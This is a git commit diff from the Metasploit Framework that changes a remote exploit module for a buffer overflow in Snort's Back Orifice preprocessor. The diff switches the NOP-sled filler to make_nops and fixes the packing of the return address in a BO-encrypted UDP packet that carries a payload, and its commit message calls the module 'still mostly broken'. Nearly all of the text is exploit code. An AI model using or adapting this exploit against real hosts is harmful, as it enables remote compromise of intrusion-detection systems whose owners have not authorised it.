Still mostly broken, but oh well

git-svn-id: file:///home/svn/incoming/trunk@3247 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2005-12-18 08:05:12 +00:00
parent ca3fe88c87
commit 219fbc90d9
1 changed files with 5 additions and 3 deletions

View File

@ -67,7 +67,7 @@ class Exploits::Linux::Ids::Snortbopre < Msf::Exploit::Remote
@arrpayload = (takepayload.split(//))
encpayload ="".to_s
encpayload = ""
@holdrand=0
msrand(0)
@ -85,9 +85,11 @@ class Exploits::Linux::Ids::Snortbopre < Msf::Exploit::Remote
[1096].pack("V") + # Length ,thanx Russell Sanford
"\xed\xac\xef\x0d"+ # ID
"\x01" # PING
filler = "\x90" * (1069 -(boheader.length + payload.encode.length))
filler = make_nops(1069 -(boheader.length + payload.encode.length))
udp_sock.write(bocrypt(boheader+payload.encode+filler+[target.ret].pack('L')))
udp_sock.write(bocrypt(boheader+payload.encode+filler+[target.ret].pack('V')))
handler
disconnect_udp
end
end